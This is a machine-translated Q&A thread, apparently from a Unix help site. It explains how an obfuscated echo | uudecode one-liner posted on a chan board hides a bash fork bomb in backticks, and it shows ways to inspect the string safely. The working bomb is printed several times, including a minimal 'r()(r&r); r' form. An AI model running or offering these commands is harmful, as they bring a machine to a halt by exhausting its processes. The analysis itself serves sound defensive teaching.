Bu metin dizisi nasıl ve neden çatal bombadır?


132

Rastgele bir chan tahtada bulundu:

echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode

Bir şekilde bunu çalıştırmak, yaygın çalışan ve makineyi durma noktasına getiren sonsuz bir yumurtlama işlemiyle sonuçlanır. "Su" hakkında defalarca icra edilmeye çalışılan bir şey görüyorum.

..bu garip çünkü bence metnin çıktısını beklerim, hiçbir şeyin yerine getirilmesini değil.

Bu metni çevrimiçi bir kod çözücüden çalıştırmak bana sadece bir çift ikili atış verir:

uudecode sonucu

Bu metin karmaşasının gerçekte ne işi var ve “güvenli bir şekilde” görmenin bir yolu var mı?


Neden "su" birçok kez uygulanıyor?
Brent Washburne

34
Bir tavsiye: rasgele chan panolarından kod çalıştırmayın ve sadece bir çatal bomba olduğu için minnettar olun.
rr-

21
Heh. Neyse ki, bunun gibi düşmanca çöplerle oynamak için açık bir şekilde yapılmış anlık bir VM'deydim.
Mikey TK,


1
Vidar Holen, yazarı shellcheck.net bir yazdı blog yazısı o bu çatal bombasının yazarı olduğunu iddia ve bazı temel bilgiler veren bu konuda.
Socowi

Yanıtlar:


194

Öncelikle tüm komutlara bakalım:

echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode

Bu yankılanan çift tırnaklı bir dize içerir uudecode. Ancak, çift tırnaklı dize içinde geri tırnaklı bir dize olduğunu unutmayın. Bu dize yürütülür . Dize:

`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`

İçinde ne olduğuna bakarsak, üç komut görüyoruz:

rYWdl &
r()(Y29j & r{,3Rl7Ig} & r{,T31wo})
r

Sahne ayracı genişleme orta komuta elimizde:

rYWdl &
r()(Y29j & r r3Rl7Ig & r rT31wo)
r

İlk satır, arka planda saçma bir komut çalıştırmaya çalışır. Bu önemsiz.

İkinci satır önemlidir: rÇalıştırıldığında iki kopyasını başlatan bir işlevi tanımlar . Bu kopyaların her biri elbette iki kopya daha yayınlayacak. Ve bunun gibi.

Üçüncü hat r, çatal bomba başlatarak çalışır .

Geri kodlanan dizginin dışındaki kodun geri kalanı gizlilik için saçma.

Komut güvenli bir şekilde nasıl çalıştırılır

İşlev yerleştirme seviyesine sınır koyarsak bu kod güvenle çalıştırılabilir. Bu bash FUNCNESTdeğişkeni ile yapılabilir . İşte, onu ayarladık 2ve bu özyinelemeyi durdurur:

$ export FUNCNEST=2
$ echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
bash: rYWdl: command not found
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
uudecode fatal error:
standard input: Invalid or missing 'begin' line

Yukarıdaki hata mesajları (a) saçma komutları olduğunu rYWdlve Y29jbulunmadığını, (b) çatal bombanın FUNCNEST tarafından defalarca durdurulduğunu ve (c) çıktısının echobaşlamadığını beginve bunun için geçerli bir giriş olmadığını gösteriyor uudecode.

En basit şekliyle çatal bomba

Gizlenmeyi kaldırırsak çatal bomba neye benzerdi? Njzk2 ve gerrit'in önerdiği gibi, şöyle görünürdü:

echo "`r()(r&r);r`"

Bunu daha da basitleştirebiliriz:

r()(r&r); r

Bu iki ifadeden oluşur: biri çatal-bomba işlevini rve ikincisi de tanımlar r.

Borunun da dahil olduğu diğer tüm kodlar uudecodesadece gizlilik ve yanlış yönlendirme için vardı.

Orijinal form başka bir yanlış yönlendirme katmanına daha sahipti

OP, bu kodun göründüğü yönetim kurulu tartışmasına bir link vermiştir. Orada sunulduğu gibi kod benziyordu:

eval $(echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)

Bu kod hakkında ilk yorumlardan birine dikkat edin:

Bunun için düştüm. Yalnızca yankılanan ve kod çözen kısmını kopyaladı, ancak yine de çatallı çıktı

Kanal panosundaki formda, sorunun doğal olarak evalçıktının üzerinde çalışan ifade olacağını düşünmesi gerekir uudecode. Bu, kaldırmanın evalsorunu çözeceğini düşünmeye yol açacaktır . Yukarıda gördüğümüz gibi, bu yanlış ve tehlikelidir.


6
Sinsi! Yankılanan dizenin ortasındaki kabuk taşmayı / genişlemeyi düşünmeyi hiç düşünmedim.
Mikey TK

31
uudecodeBurada tamamen ilgisiz olduğunu not etmenin iyi olacağını düşünüyorum . Bir an uudecodeiçin, temelde güvensiz kılacak olan geri alıntılı dize enterpolasyonu yaptığımı düşündüm , ancak çatal bomba uudecode başlamadan önce gerçekleşiyor.
gerrit

28
... ve bu , bayanlar ve baylar, kabuk senaryolarında güvenliğin bu kadar zor olmasının nedeni budur. Tamamen zararsız görünen şeyler bile sizi öldürebilir. (Bunun bir yerden kullanıcı girişi olup olmadığını düşünün ...)
MathematicalOrchid

22
@MathematicalOrchid Aslında, kullanıcı girişindeki backquoted öğelerin yürütülmesini sağlamak için bir kabuk betiğine neden olması önemsiz bir çaba gerektirir. Eğer söylüyorsan inşa kullanıcı girişi bir shell script çift tırnak koymak daha iyi bilmeli.
Random832

5
@ njzk2 Hala bir ihtiyaç &vardır: echo "`r()(r&r);r`".
gerrit

10

Sorunuzun ikinci bölümüne cevap vermek için:

... "güvenle" izlemenin bir yolu var mı?

Bu dizgeyi etkisiz hale getirmek için, dış çift tırnak işaretlerini tek tırnak işaretleri ile değiştirin ve dizenin içinde oluşan tek tırnak işaretlerinden kaçın. Bu şekilde, kabuk hiçbir kodu çalıştırmaz ve siz aslında her şeyi doğrudan iletirsiniz uudecode:

$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;=='
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==' | uudecode
uudecode fatal error:
standard input: Invalid or missing 'begin' line

Diğer alternatifler yorumlarda belirtilmiştir:

kasperd önerdi :

$ uudecode
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
[press <Ctrl>+D]
uudecode fatal error:
standard input: Invalid or missing 'begin' line

Jacob Krall bir metin editörü kullanmayı, içeriği yapıştırmayı ve ardından bu dosyayı uudecode'a iletmeyi önerdi .


5
Alternatif olarak: uudecodeKomut satırını yazın. Enter tuşuna basın. Kodu çözülecek dizgiyi kopyala-yapıştır.
kasperd

3
Başka bir alternatif: içeriği bir dosyaya kaydetmek için bir metin editörü kullanın. Bu dosyayı ile açın uudecode.
Jacob Krall

Her ikisine de teşekkürler, cevaptaki bu alternatifleri not aldım.
gerrit

1
İpin echo "foo`die`bar'`die`'baz"ilk gibi olmadığını kontrol ettiğinizden emin olun ! Diğer bir deyişle, içinde herhangi bir 's varsa , tırnakları tek tırnaklarla değiştirmek yeterli olmaz.
wchargin

5

İlk bakışta, kabuğun çıkışının asla gerçekleşmeyeceğini düşünebilirsiniz . Bu hala doğru . Sorun zaten girdide . Buradaki temel numara, programcıların operatör önceliği dedikleri şeydir . Bu, kabuğun girdilerinizi işlemeye çalıştığı sıradır:

1.       "                                                             "
2.                     rYWdl
3.                          &
4.                           r()(Y29j&r{,3Rl7Ig}&r{,T31wo})             
5.                                                         ;            
6.                                                          r           
7.                    `                                      `          
8.        I<RA('1E<W3t                                        26<F]F;== 
9.  echo                                                                
10.                                                                      |         
11.                                                                        uudecode
  1. İçindeki tüm backticks komutlarını çalıştırarak dizgiyi oluşturun.
  2. Genellikle 'rYWdl' yazım hatası değilse, bazı çıktılara neden olan bilinmeyen bir komut Eğer onu içeren paketi aramak için bulunmaz komutunu kullanabilirsiniz… (sisteme bağlıdır)
  3. Arka planda 2. yürütür. Asla bir çıktı görmeyeceksiniz.
  4. Çatal bomba fonksiyonunu tanımlayın.
  5. Komut ayırıcı
  6. Çatal bombasını çalıştırın.
  7. 6. sonucunu String'e ekleyiniz. (Biz asla buraya gelmiyoruz.)

Hata, echoyürütülecek ilk komutun uudecodeikincisi olacağını düşünmektir . İkisine de asla ulaşılamayacak.

Sonuç: Çift tırnak, kabuk üzerinde daima tehlikelidir.

Sitemizi kullandığınızda şunları okuyup anladığınızı kabul etmiş olursunuz: Çerez Politikası ve Gizlilik Politikası.
Licensed under cc by-sa 3.0 with attribution required.